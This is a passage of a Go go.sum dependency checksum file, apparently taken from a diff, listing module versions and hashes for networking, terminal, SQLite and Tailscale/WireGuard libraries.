github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
github.com/illarion/gonotify v1.0.1 h1:F1d+0Fgbq/sDWjj/r66ekjDG+IDeecQKUFH4wNwsoio=
github.com/illarion/gonotify v1.0.1/go.mod h1:zt5pmDofZpU1f8aqlK0+95eQhoEAn/d4G4B/FjVW4jE=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a h1:S33o3djA1nPRd+d/bf7jbbXytXuK/EoXow7+aa76grQ=
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a/go.mod h1:zmdm3sTSDP3vOOX3CEWRkkRHtKr1DxBx+J1OQFoDQQs=
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
@@ -137,26 +235,47 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg=
github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo=
github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8=
github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U=
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/josharian/native v1.0.1-0.20221213033349-c1e37c09b531/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 h1:elKwZS1OcdQ0WwEDBeqxKwb7WB62QX8bvZ/FJnVXIfk=
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86/go.mod h1:aFAMtuldEgx/4q7iSGazk22+IcgvtiC+HIimFO9XlS8=
github.com/jsimonetti/rtnetlink v1.3.5 h1:hVlNQNRlLDGZz31gBPicsG7Q53rnlsz1l1Ix/9XlpVA=
github.com/jsimonetti/rtnetlink v1.3.5/go.mod h1:0LFedyiTkebnd43tE4YAkWGIq9jQphow4CcwxaT2Y00=
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.16.5 h1:IFV2oUNUzZaz+XyusxpLzpzS8Pt5rh0Z16For/djlyI=
github.com/klauspost/compress v1.16.5/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/klauspost/compress v1.10.3/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
github.com/klauspost/compress v1.17.0 h1:Rnbp4K9EjcDuVuHtd0dgA4qNuv9yKDYKK1ulpJwgrqM=
github.com/klauspost/compress v1.17.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8=
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y=
github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII=
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
@@ -171,40 +290,62 @@ github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxec
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng=
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-sqlite3 v1.14.17 h1:mCRHCLDUBXgpKAqIKsaAaAsrAlbkeomtRFKXh2L6YIM=
github.com/mattn/go-sqlite3 v1.14.17/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
github.com/mdlayher/genetlink v1.3.2/go.mod h1:tcC3pkCrPUGIKKsCsp0B3AdaaKuHtaxoJRz3cc+528o=
github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWCdcZk8/vA=
github.com/mdlayher/netlink v1.7.2 h1:/UtM3ofJap7Vl4QWCPDGXY8d3GIY2UGSDbK+QWmY8/g=
github.com/mdlayher/netlink v1.7.2/go.mod h1:xraEF7uJbxLhc5fpHL4cPe221LI2bdttWlU+ZGLfQSw=
github.com/mdlayher/sdnotify v1.0.0 h1:Ma9XeLVN/l0qpyx1tNeMSeTjCPH6NtuD6/N9XdTlQ3c=
github.com/mdlayher/sdnotify v1.0.0/go.mod h1:HQUmpM4XgYkhDLtd+Uad8ZFK1T9D5+pNxnXQjCeJlGE=
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
github.com/mdlayher/socket v0.5.0 h1:ilICZmJcQz70vrWVes1MFera4jGiWNocSkykwwoy3XI=
github.com/mdlayher/socket v0.5.0/go.mod h1:WkcBFfvyG8QENs5+hfQPl1X6Jpd2yeLIYgrGFmJiJxI=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI=
github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
github.com/miekg/dns v1.1.56 h1:5imZaSeoRNvpM9SzWNhEcP9QliKiz20/dA2QabIGVnE=
github.com/miekg/dns v1.1.56/go.mod h1:cRm6Oo2C8TY9ZS/TqsSrseAcncm74lfK5G+ikN2SWWY=
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/RrM=
github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
github.com/ncruces/go-sqlite3 v0.7.0 h1:y86N7BwrI9ra4kRBYXskcHcJpyzcDinDRQgAKv0Cb54=
github.com/ncruces/go-sqlite3 v0.7.0/go.mod h1:t3dP4AP9rJddU+ffFv0h6fWyeOCEhjxrYc1nsYG7aQI=
github.com/ncruces/go-sqlite3 v0.7.2 h1:K7jU4rnUxFdUsbEL+B0Xc+VexLTEwGSO6Qh91Qh4hYc=
github.com/ncruces/go-sqlite3 v0.7.2/go.mod h1:t3dP4AP9rJddU+ffFv0h6fWyeOCEhjxrYc1nsYG7aQI=
github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk=
github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
github.com/pierrec/lz4/v4 v4.1.14/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
github.com/pierrec/lz4/v4 v4.1.18 h1:xaKrnTkyoqfh1YItXl56+6KJNVYWlEEPuAQW9xsplYQ=
github.com/pierrec/lz4/v4 v4.1.18/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pquerna/otp v1.4.0 h1:wZvl1TIVxKRThZIBiwOOHOGP/1+nZyWBil9Y2XNEDzg=
github.com/pquerna/otp v1.4.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ=
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc=
@@ -212,15 +353,16 @@ github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/
github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek=
github.com/reeflective/readline v1.0.8 h1:VuDGI82lAwl1H5by+hpW4OQgM+9ikh6EuOySQUGP3sI=
github.com/reeflective/readline v1.0.8/go.mod h1:5JgnHb/ZCvp/6RUA59HEansPBxWTkyBO4hJ5LL9Fp1Y=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M=
github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/safchain/ethtool v0.3.0 h1:gimQJpsI6sc1yIqP/y8GYgiXn/NjgvpM0RNoWLVVmP0=
github.com/safchain/ethtool v0.3.0/go.mod h1:SA9BwrgyAqNo7M+uaL6IYbxpm5wk3L7Mm6ocLW+CJUs=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
@@ -232,7 +374,6 @@ github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
@@ -241,45 +382,88 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/tetratelabs/wazero v1.2.0 h1:I/8LMf4YkCZ3r2XaL9whhA0VMyAvF6QE+O7rco0DCeQ=
github.com/tetratelabs/wazero v1.2.0/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff h1:vnxdYZUJbsSRcIcduDW3DcQqfqaiv4FUgy25q8X+vfI=
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff/go.mod h1:XrBNfAFN+pwoWuksbFS9Ccxnopa15zJGgXRFN90l3K4=
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 h1:Gzfnfk2TWrk8Jj4P4c1a3CtQyMaTVCznlkLZI++hok4=
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55/go.mod h1:4k4QO+dQ3R5FofL+SanAUZe+/QfeK0+OIuwDIRu2vSg=
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e h1:JyeJF/HuSwvxWtsR1c0oKX1lzaSH5Wh4aX+MgiStaGQ=
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e/go.mod h1:DjoeCULdP6vTJ/xY+nzzR9LaUHprkbZEpNidX0aqEEk=
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 h1:4chzWmimtJPxRs2O36yuGRW3f9SYV+bMTTvMBI0EKio=
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05/go.mod h1:PdCqy9JzfWMJf1H5UJW2ip33/d4YkoKN0r67yKH1mG8=
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a h1:SJy1Pu0eH1C29XwJucQo73FrleVK6t4kYz4NVhp34Yw=
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a/go.mod h1:DFSS3NAGHthKo1gTlmEcSBiZrRJXi28rLNd/1udP1c8=
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 h1:zrsUcqrG2uQSPhaUPjUQwozcRdDdSxxqhNgNZ3drZFk=
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85/go.mod h1:NzVQi3Mleb+qzq8VmcWpSkcSYxXIg0DkI6XDzpVkhJ0=
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d h1:6bpLeKxSPVTwxzoy+0SrDLEaa60G6jnGqgLAcdDhkDg=
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d/go.mod h1:agQPE6y6ldqCOui2gkIh7ZMztTkIQKH049tv8siLuNQ=
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90 h1:lMGYrokOq9NKDw1UMBH7AsS4boZ41jcduvYaRIdedhE=
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4=
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM=
github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg=
github.com/u-root/u-root v0.11.0 h1:6gCZLOeRyevw7gbTwMj3fKxnr9+yHFlgF3N7udUVNO8=
github.com/u-root/u-root v0.11.0/go.mod h1:DBkDtiZyONk9hzVEdB/PWI9B4TxDkElWlVTHseglrZY=
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 h1:YcojQL98T/OO+rybuzn2+5KrD5dBwXIvYBvQ2cD3Avg=
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264=
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
github.com/vishvananda/netlink v1.2.1-beta.2 h1:Llsql0lnQEbHj0I1OuKyp8otXp0r3q0mPkuhwHfStVs=
github.com/vishvananda/netlink v1.2.1-beta.2/go.mod h1:twkDnbuQxJYemMlGd4JFIcuhgX83tXhKS2B/PRMpOho=
github.com/vishvananda/netns v0.0.0-20200728191858-db3c7e526aae/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
